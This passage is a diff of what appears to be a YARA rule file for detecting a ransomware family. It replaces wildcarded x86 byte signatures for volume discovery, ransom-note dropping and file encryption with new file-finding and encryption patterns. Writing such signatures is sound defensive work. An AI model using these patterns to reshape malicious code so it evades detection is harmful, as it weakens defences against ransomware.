+            ?? 0F 82 ?? ?? ?? ?? 89 46 ?? 42 8B 48 ?? 89 55 ?? 89 55 ?? 89 01 8B 45 ?? 83 F8 ??
+            72 ?? 40 8D 4D ?? 50 FF 75 ?? E8 ?? ?? ?? ?? 83 EC ?? 8D 8D ?? ?? ?? ?? 54 E8 ?? ??
+            ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? EB ?? 8D 85 ?? ?? ?? ?? 8B CC 50 E8 ?? ?? ?? ?? 8B 75
+            ?? 8B CE E8 ?? ?? ?? ?? 85 C0 74 ?? 8D 45 ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D
+            45 ?? 8B CE 50 E8 ?? ?? ?? ?? 8B 45 ?? 83 F8 ?? 72 ?? 40 8D 4D ?? 50 FF 75 ?? E8 ??
+            ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 57 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 7D ??
+            8B CF E8 ?? ?? ?? ?? 8B 4D ?? 85 C9 74 ?? 8B 7D ?? E9 ?? ?? ?? ?? 8B 4D ?? 85 C9 0F
+            84 ?? ?? ?? ?? 0F 1F 00 8B 45 ?? 8D 4D ?? 8B 00 83 C0 ?? 3B C8 74 ?? 6A ?? 6A ?? 50
+            E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 45 ?? 50 8D 45 ?? 50 E8 ?? ?? ?? ?? 8B F0 83 C4
         }
-		$find_system_volumes = {
-            55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 81 EC ?? ??
-            ?? ?? 53 56 57 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8B 75 ?? C7 06 ?? ?? ?? ??
-            C7 46 ?? ?? ?? ?? ?? C7 46 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 68
-            ?? ?? ?? ?? 50 C7 45 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? 8B F8 66 90
-            8D 45 ?? 50 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ??
-            ?? 85 C0 0F 84 ?? ?? ?? ?? 6A ?? 6A ?? 8D 45 ?? 50 6A ?? 6A ?? 6A ?? 6A ?? 8D 85 ??
-            ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? F7 45 ?? ?? ?? ?? ?? 0F 85 ??
-            ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 33 D2 C7 45 ?? ?? ?? ?? ?? 66 89 55 ??
-            83 C4 ?? 8D 95 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D 0C 00 C7 45 ?? ?? ?? ?? ?? 8D 85
-            ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 03 C1 C7 45 ?? ?? ?? ?? ?? 3B D0 74 ?? D1 F9 8B C2
-            51 50 8D 4D ?? E8 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D 4D ?? 8B 46 ?? 3B 46 ?? 74 ??
-            6A ?? 51 50 C7 00 ?? ?? ?? ?? C7 40 ?? ?? ?? ?? ?? C7 40 ?? ?? ?? ?? ?? E8 ?? ?? ??
-            ?? 33 C0 C7 45 ?? ?? ?? ?? ?? 83 C4 ?? C7 45 ?? ?? ?? ?? ?? 83 46 ?? ?? 66 89 45 ??
-            EB ?? 51 50 8B CE E8 ?? ?? ?? ?? C6 45 ?? ?? 8B 4D ?? 83 F9 ?? 72 ?? 8B 55 ?? 8D 0C
-            4D ?? ?? ?? ?? 8B C2 81 F9 ?? ?? ?? ?? 72 ?? 8B 50 ?? 83 C1 ?? 2B C2 83 C0 ?? 83 F8
-            ?? 77 ?? 51 52 E8 ?? ?? ?? ?? 83 C4 ?? 33 C0 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ??
-            ?? 66 89 45 ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 57 FF D3 85 C0 0F 85 ?? ?? ?? ??
-            57 FF 15 ?? ?? ?? ?? 8B 4D ?? 8B C6 5F 5E 5B 64 89 0D ?? ?? ?? ?? 8B E5 5D C3
+		$find_files_p7 = {
+            8D 45 ?? 3B C6 74 ?? 8B 4D ?? 83 F9 ?? 72 ?? 41 51 FF 75 ?? 8B C8 E8 ?? ?? ?? ?? 33
+            C0 C7 45 ?? ?? ?? ?? ?? 56 8D 4D ?? C7 45 ?? ?? ?? ?? ?? 66 89 45 ?? E8 ?? ?? ?? ??
+            8B 45 ?? 83 F8 ?? 72 ?? 40 8D 4D ?? 50 FF 75 ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ??
+            ?? 83 7D ?? ?? 8D 8D ?? ?? ?? ?? 8D 45 ?? 0F 43 45 ?? 51 50 FF 15 ?? ?? ?? ?? 8B 75
+            ?? 89 45 ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 0F 1F 00 33 C0 C7 45 ?? ?? ?? ?? ?? 8D 8D ??
+            ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 66 89 45 ?? E8 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 8D 45 ??
+            6A ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? 83 F8 ?? 72 ?? 40 8D 4D ?? 50 FF
+            75 ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 8D 45 ?? 50 8D 85 ?? ?? ??
+            ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 50 E8 ?? ?? ?? ?? 83 C4 ??
+            8D 85 ?? ?? ?? ?? 83 EC ?? F6 85 ?? ?? ?? ?? ?? 8B CC 50 0F 84 ?? ?? ?? ?? E8 ?? ??
+            ?? ?? 8B CF E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8D 45 ?? 50 8D 8D ?? ?? ?? ?? E8
+            ?? ?? ?? ?? 8B 5D ?? 8D 45 ?? 50 8D 4D ?? FF 73 ?? 53 E8 ?? ?? ?? ?? B9 ?? ?? ?? ??
+            2B CE 83 F9 ?? 0F 82 ?? ?? ?? ?? 89 43 ?? 46 8B 48 ?? 89 75 ?? 89 01 8B 45 ?? 83 F8
+            ?? 72 ?? 40 8D 4D ?? 50 FF 75 ?? E8 ?? ?? ?? ?? 83 EC ?? 8D 8D ?? ?? ?? ?? 54 E8 ??
+            ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? EB ?? E8 ?? ?? ?? ?? 8B CF E8 ?? ?? ?? ?? 85 C0 74
+            ?? 8D 45 ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 45 ?? 8B CF 50 E8 ?? ?? ?? ?? 8B
+            45 ?? 83 F8 ?? 72 ?? 40 8D 4D ?? 50 FF 75 ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF
+            75 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8B CF E8 ?? ?? ?? ?? 85 F6 0F 85 ??
+            ?? ?? ?? FF 75 ?? FF 15
         }
-		$drop_ransom_note_v2_p1 = {
-            55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC ?? 53
-            56 57 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8B 7D ?? 68 ?? ?? ?? ?? E8 ?? ?? ??
-            ?? B9 ?? ?? ?? ?? 8B D8 2B CF 83 C4 ?? 3B CB 0F 82 ?? ?? ?? ?? 83 7D ?? ?? 8D 45 ??
-            8D 0C 3B C7 45 ?? ?? ?? ?? ?? 0F 43 45 ?? BE ?? ?? ?? ?? 89 45 ?? 8D 45 ?? C7 45 ??
-            ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 89 4D ?? 89 45 ?? 3B CE 76 ?? 8B F1 83 CE ?? 81 FE
-            ?? ?? ?? ?? 76 ?? BE ?? ?? ?? ?? EB ?? B8 ?? ?? ?? ?? 3B F0 0F 42 F0 8D 46 ?? 50 8D
-            4D ?? E8 ?? ?? ?? ?? 89 45 ?? 8D 0C 3B 89 45 ?? 89 75 ?? 8D 34 3F 56 FF 75 ?? 89 4D
-            ?? 50 E8 ?? ?? ?? ?? 8B 7D ?? 8D 04 1B 50 68 ?? ?? ?? ?? 8D 0C 3E 51 E8 ?? ?? ?? ??
-            8B 45 ?? 33 C9 83 C4 ?? C7 45 ?? ?? ?? ?? ?? 66 89 0C 47 C6 45 ?? ?? B8 ?? ?? ?? ??
-            83 3D ?? ?? ?? ?? ?? 8D 4D ?? FF 35 ?? ?? ?? ?? 0F 43 05 ?? ?? ?? ?? 50 E8 ?? ?? ??
-            ?? 8B F0 C7 45 ?? ?? ?? ?? ?? 6A ?? 8D 45 ?? C7 45 ?? ?? ?? ?? ?? 56 50 C7 45 ?? ??
-            ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 C7 46 ?? ?? ?? ?? ?? C7 46 ?? ?? ?? ?? ?? 83 C4 ?? 66
+		$encrypt_files_p1 = {
+            FF 15 ?? ?? ?? ?? 85 C0 75 ?? 50 FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? E9 ?? ?? ?? ??
+            6A ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D
+            45 ?? 83 7D ?? ?? 0F 43 45 ?? 68 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 33 C0 C7 45 ?? ??
+            ?? ?? ?? 6A ?? 50 66 89 45 ?? 8D 4D ?? 8D 45 ?? C7 45 ?? ?? ?? ?? ?? 50 E8 ?? ?? ??
+            ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 83 7D ?? ?? 8D 45 ?? 6A ?? 0F
+            43 45 ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 50 89 45 ?? FF 15 ?? ?? ??
+            ?? 8B D8 83 FB ?? 0F 84 ?? ?? ?? ?? 8D 45 ?? 50 53 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ??
+            ?? ?? ?? 8B 4D ?? 01 0D ?? ?? ?? ?? 8B 55 ?? 11 15 ?? ?? ?? ?? 83 FA ?? 0F 8C ?? ??
+            ?? ?? 7F ?? 85 C9 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? F2 0F 59 05 ?? ??
+            ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B F8 83 C4 ?? 85 FF 75 ?? 66 66 0F 1F 84 00
+            ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 55 ?? 8B 4D ?? 68 ?? ?? ?? ?? E8 ??
+            ?? ?? ?? F2 0F 59 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B F8 83 C4 ?? 85
+            FF 74 ?? 8B 55 ?? 8B 4D ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? F2 0F 59 05 ?? ?? ?? ?? E8
+            ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B F0 83 C4 ?? 85 F6 75 ?? 68 ?? ?? ?? ?? FF 15 ?? ??
+            ?? ?? 8B 55 ?? 8B 4D ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? F2 0F 59 05 ?? ?? ?? ?? E8 ??
+            ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B F0 83 C4 ?? 85 F6 74 ?? C7 45 ?? ?? ?? ?? ?? 8D 85 ??
+            ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B 55 ?? 8D 45 ?? 8B 4D ?? 83 C4 ?? 6A
         }
-		$drop_ransom_note_v2_p2 = {
-            89 06 BE ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 89 75 ?? 83 E6 ?? 89 75 ?? C6 45 ?? ?? 8B
-            4D ?? 83 F9 ?? 72 ?? 8B 55 ?? 8D 0C 4D ?? ?? ?? ?? 8B C2 81 F9 ?? ?? ?? ?? 72 ?? 8B
-            50 ?? 83 C1 ?? 2B C2 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 51 52 E8 ?? ?? ?? ?? 83 C4
-            ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 33 C0 C7 45 ?? ?? ?? ?? ?? 83 7D ?? ?? 6A ?? 66 89 45
-            ?? 8D 45 ?? 0F 43 45 ?? 6A ?? 68 ?? ?? ?? ?? 50 C7 45 ?? ?? ?? ?? ?? FF 15 ?? ?? ??
-            ?? 8B F8 83 FF ?? 74 ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 57 FF 15 ?? ?? ??
-            ?? 57 FF 15 ?? ?? ?? ?? 83 E6 ?? 89 75 ?? C6 45 ?? ?? 8B 4D ?? 5F 5E 5B 83 F9 ?? 72
-            ?? 8B 55 ?? 8D 0C 4D ?? ?? ?? ?? 8B C2 81 F9 ?? ?? ?? ?? 72 ?? 8B 50 ?? 83 C1 ?? 2B
-            C2 83 C0 ?? 83 F8 ?? 77 ?? 51 52 E8 ?? ?? ?? ?? 83 C4 ?? 33 C0 C7 45 ?? ?? ?? ?? ??
-            C7 45 ?? ?? ?? ?? ?? 66 89 45 ?? C7 45 ?? ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8B 4D
-            ?? 64 89 0D ?? ?? ?? ?? 8B E5 5D C3
+		$encrypt_files_p2 = {
+            50 E8 ?? ?? ?? ?? F2 0F 59 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 57 53 FF 15 ?? ?? ?? ??
+            8B 55 ?? 8B 4D ?? E8 ?? ?? ?? ?? F2 0F 59 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 56 8D 85
+            ?? ?? ?? ?? 57 50 E8 ?? ?? ?? ?? 8B 45 ?? 83 C4 ?? F7 D8 6A ?? 6A ?? 50 53 FF 15 ??
+            ?? ?? ?? 8B 55 ?? 8D 45 ?? 8B 4D ?? 6A ?? 50 E8 ?? ?? ?? ?? F2 0F 59 05 ?? ?? ?? ??
+            E8 ?? ?? ?? ?? 50 56 53 FF 15 ?? ?? ?? ?? 83 6D ?? ?? 0F 85 ?? ?? ?? ?? 57 E8 ?? ??
+            ?? ?? 56 E9 ?? ?? ?? ?? 8B F1 8B C2 81 C6 ?? ?? ?? ?? 83 D0 ?? 83 F8 ?? 0F 87 ?? ??
+            ?? ?? 72 ?? 81 FE ?? ?? ?? ?? 0F 87 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? F2 0F
+            59 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B F8 83 C4 ?? 85 FF 75 ?? 66 90
+            68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 55 ?? 8B 4D ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? F2
+            0F 59 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B F8 83 C4 ?? 85 FF 74 ?? 8B
+            55 ?? 8B 4D ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? F2 0F 59 05 ?? ?? ?? ?? E8 ?? ?? ?? ??
+            50 E8 ?? ?? ?? ?? 8B F0 83 C4 ?? 85 F6 75 ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 55
+            ?? 8B 4D ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? F2 0F 59 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50
         }
-		$encrypt_files_v5 = {
-            50 FF 15 ?? ?? ?? ?? 8B D8 C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? F6 C3 ?? 74
-            ?? C6 45 ?? ?? 80 7D ?? ?? 0F 84 ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? E9 ??
-            ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 4D ?? E8 ?? ?? ?? ?? C6 45
-            ?? ?? 8D 8D ?? ?? ?? ?? 51 8B C8 E8 ?? ?? ?? ?? C6 45 ?? ?? 50 8D 4D ?? E8 ?? ?? ??
-            ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? C6 45 ?? ?? 8D 8D ?? ??
-            ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 4D ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 8D
-            ?? ?? ?? ?? 51 8B C8 E8 ?? ?? ?? ?? C6 45 ?? ?? 50 8D 4D ?? E8 ?? ?? ?? ?? C6 45 ??
-            ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ??
-            ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 8D
-            45 ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 6A ?? 6A ?? 8D 8D ?? ?? ?? ??
-            E8 ?? ?? ?? ?? 8B F8 83 FF ?? 75 ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? E9
-            ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 0F 43 8D ?? ?? ?? ?? 8B 85 ?? ??
-            ?? ?? 8D 0C 41 89 4D ?? 8D 85 ?? ?? ?? ?? 0F 43 85 ?? ?? ?? ?? 89 45 ?? 89 45 ?? 8D
-            04 78 89 45 ?? 51 50 8D 85 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ??
-            ?? ?? 8D 45
+		$encrypt_files_p3 = {
+            E8 ?? ?? ?? ?? 8B F0 83 C4 ?? 85 F6 74 ?? C7 45 ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 68
+            ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B 55 ?? 8D 45 ?? 8B 4D ?? 83 C4 ?? 6A ?? 50 E8 ?? ??
+            ?? ?? F2 0F 59 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 57 53 FF 15 ?? ?? ?? ?? 8B 55 ?? 8B
+            4D ?? E8 ?? ?? ?? ?? F2 0F 59 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 56 8D 85 ?? ?? ?? ??
+            57 50 E8 ?? ?? ?? ?? 8B 45 ?? 83 C4 ?? F7 D8 6A ?? 6A ?? 50 53 FF 15 ?? ?? ?? ?? 8B
+            55 ?? 8D 45 ?? 8B 4D ?? 6A ?? 50 E8 ?? ?? ?? ?? F2 0F 59 05 ?? ?? ?? ?? E8 ?? ?? ??
+            ?? 50 56 53 FF 15 ?? ?? ?? ?? 83 6D ?? ?? 0F 85 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 56 E9
+            ?? ?? ?? ?? 8B F1 8B C2 81 C6 ?? ?? ?? ?? 83 D0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 72 ??
+            81 FE ?? ?? ?? ?? 0F 87 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? F2 0F 59 05 ?? ??
+            ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B F8 83 C4 ?? 85 FF 75 ?? 66 90 68 ?? ?? ??
+            ?? FF 15 ?? ?? ?? ?? 8B 55 ?? 8B 4D ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? F2 0F 59 05 ??
+            ?? ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B F8 83 C4 ?? 85 FF 74 ?? 8B 55 ?? 8B 4D
+            ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? F2 0F 59 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ??
+            ?? ?? 8B F0 83 C4 ?? 85 F6 75 ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 55 ?? 8B 4D ??
+            68 ?? ?? ?? ?? E8 ?? ?? ?? ?? F2 0F 59 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ??
+            ?? 8B F0 83 C4 ?? 85 F6 74 ?? C7 45 ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 68
         }
-		$find_system_volumes_v2_p1 = {
-            C7 45 ?? ?? ?? ?? ?? 89 7D ?? FF 15 ?? ?? ?? ?? 8B D8 8D 45 ?? 50 68 ?? ?? ?? ?? 8D
-            85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 6A
-            ?? 6A ?? 8D 45 ?? 50 6A ?? 6A ?? 6A ?? 6A ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ??
-            85 C0 0F 84 ?? ?? ?? ?? F7 45 ?? ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50
-            E8 ?? ?? ?? ?? 83 C4 ?? 8D 4D ?? 51 8D 8D ?? ?? ?? ?? 8D 04 41 50 8B C1 8D 4D ?? 50
-            E8 ?? ?? ?? ?? 8B F0 C6 45 ?? ?? 8B 4D ?? 3B 4D ?? 74 ?? 6A ?? 56 51 C7 01 ?? ?? ??
-            ?? C7 41 ?? ?? ?? ?? ?? C7 41 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? C7 46 ?? ?? ??
-            ?? ?? C7 46 ?? ?? ?? ?? ?? C6 06 ?? 83 45 ?? ?? EB ?? 56 51 8D 4D ?? E8 ?? ?? ?? ??
-            C6 45 ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 53 FF 15 ??
-            ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 8B 75 ?? 33 C9 89 4D ?? B8 ??
-            ?? ?? ?? 8B 4D ?? 2B CE F7 E9 C1 FA ?? 8B C2 C1 E8 ?? 03 C2 0F 84 ?? ?? ?? ?? 33 DB
-            8D 4D ?? 8D 04 33 89 4D ?? C6 45 ?? ?? 8D 4D ?? 51 50 8D 45 ?? 50 E8 ?? ?? ?? ?? 83
-            C4 ?? 8D 4D ?? 83 CF ?? 89 7D ?? C7 45 ?? ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? C6 45 ??
-            ?? 83 E7 ?? 89 7D ?? C6 45 ?? ?? 8D 45 ?? 8B 35 ?? ?? ?? ?? 3B 35 ?? ?? ?? ?? 74 ??
-            6A ?? 50 56 89 75 ?? C7 06 ?? ?? ?? ?? C7 46 ?? ?? ?? ?? ?? C7 46 ?? ?? ?? ?? ?? E8
-            ?? ?? ?? ?? 33 C0 C7 45 ?? ?? ?? ?? ?? 83 C4 ?? C7 45 ?? ?? ?? ?? ?? 66 89 45 ?? C6
+		$encrypt_files_p4 = {
+            50 E8 ?? ?? ?? ?? 8B 55 ?? 8D 45 ?? 8B 4D ?? 83 C4 ?? 6A ?? 50 E8 ?? ?? ?? ?? F2 0F
+            59 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 57 53 FF 15 ?? ?? ?? ?? 8B 55 ?? 8B 4D ?? E8 ??
+            ?? ?? ?? F2 0F 59 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 56 8D 85 ?? ?? ?? ?? 57 50 E8 ??
+            ?? ?? ?? 8B 45 ?? 83 C4 ?? F7 D8 6A ?? 6A ?? 50 53 FF 15 ?? ?? ?? ?? 8B 55 ?? 8D 45
+            ?? 8B 4D ?? 6A ?? 50 E8 ?? ?? ?? ?? F2 0F 59 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 56 53
+            FF 15 ?? ?? ?? ?? 83 6D ?? ?? 0F 85 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 56 E9 ?? ?? ?? ??
+            68 ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 8B F0 83 C4 ?? 85 F6 75 ?? 0F 1F 84 00 ?? ?? ?? ??
+            68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? 8B F0 83 C4
+            ?? 85 F6 74 ?? 68 ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? 8B F8 83 C4 ?? 85 FF 75 ?? 66
+            0F 1F 84 00 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 75 ?? E8
+            ?? ?? ?? ?? 8B F8 83 C4 ?? 85 FF 74 ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ??
+            ?? ?? 83 C4 ?? 8D 45 ?? 6A ?? 50 FF 75 ?? 56 53 FF 15 ?? ?? ?? ?? FF 75 ?? 8D 85 ??
+            ?? ?? ?? 57 56 50 E8 ?? ?? ?? ?? 8B 45 ?? 83 C4 ?? F7 D8 6A ?? 6A ?? 50 53 FF 15 ??
+            ?? ?? ?? 6A ?? 8D 45 ?? 50 FF 75 ?? 57 53 FF 15 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 57 E8
+            ?? ?? ?? ?? 83 C4 ?? 8D 45 ?? 0F 57 C0 66 0F 13 45 ?? 6A ?? 50 6A ?? 53 FF 15 ?? ??
+            ?? ?? 8B 75 ?? 8D 45 ?? 6A ?? 50 FF B6 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 3D ?? ?? ??
+            ?? 50 FF B6 ?? ?? ?? ?? 53 FF D7 8B 35 ?? ?? ?? ?? 8D 45 ?? 6A ?? 50 6A ?? 6A ?? 6A
+            ?? 6A ?? FF 35 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? FF D6 85 C0 0F
+            84 ?? ?? ?? ?? FF 75 ?? 8D 45 ?? 50 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? FF 35 ?? ?? ??
+            ?? FF D6 85 C0 0F 84 ?? ?? ?? ?? 8D 45 ?? 50 6A ?? 68 ?? ?? ?? ?? FF 75 ?? 68 ?? ??
+            ?? ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 0F 1F 40 ?? 8B 45 ?? 03 C0 50 E8 ??
+            ?? ?? ?? 8B F0 83 C4 ?? 80 3E ?? 74 ?? 8B 45 ?? 8B CE 85 C0 74 ?? 66 90 C6 01 ?? 8D
+            49 ?? 83 E8 ?? 75 ?? 8D 45 ?? 50 56 68 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? FF 15 ??
+            ?? ?? ?? 6A ?? 8D 45 ?? 50 FF 75 ?? 56 53 FF D7 6A ?? 8D 45 ?? 50 8B 45 ?? FF B0 ??
+            ?? ?? ?? FF 15 ?? ?? ?? ?? 50 8B 45 ?? FF B0 ?? ?? ?? ?? 53 FF D7 53 FF 15 ?? ?? ??
+            ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 8D 45 ?? 83 7D ?? ?? 0F 43 45 ?? 6A ?? 50 FF 75 ?? FF
+            15
         }
-		$find_system_volumes_v2_p2 = {
-            45 ?? ?? 8B 45 ?? 89 46 ?? C6 45 ?? ?? 83 05 ?? ?? ?? ?? ?? EB ?? 50 56 B9 ?? ?? ??
-            ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8B 4D ?? 83 F9 ?? 72 ?? 8B 55 ?? 8D 0C 4D ?? ?? ?? ??
-            8B C2 81 F9 ?? ?? ?? ?? 72 ?? 8B 50 ?? 83 C1 ?? 2B C2 83 C0 ?? 83 F8 ?? 0F 87 ?? ??
-            ?? ?? 51 52 E8 ?? ?? ?? ?? 83 C4 ?? 8B 4D ?? 33 C0 8B 75 ?? 83 C3 ?? FF 45 ?? 2B CE
-            66 89 45 ?? B8 ?? ?? ?? ?? F7 E9 C7 45 ?? ?? ?? ?? ?? C1 FA ?? 8B C2 C7 45 ?? ?? ??
-            ?? ?? C1 E8 ?? 03 C2 39 45 ?? 0F 82 ?? ?? ?? ?? 83 E7 ?? 89 7D ?? C7 45 ?? ?? ?? ??
-            ?? 8D 4D ?? E8 ?? ?? ?? ?? 5F 5B EB ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 45 ?? 68 ??
-            ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? C7 45 ?? ?? ?? ?? ?? 8D 4D ?? 6A ?? C7 45 ?? ??
-            ?? ?? ?? E8 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D 45 ?? 50 B9 ?? ?? ?? ?? E8 ?? ?? ??
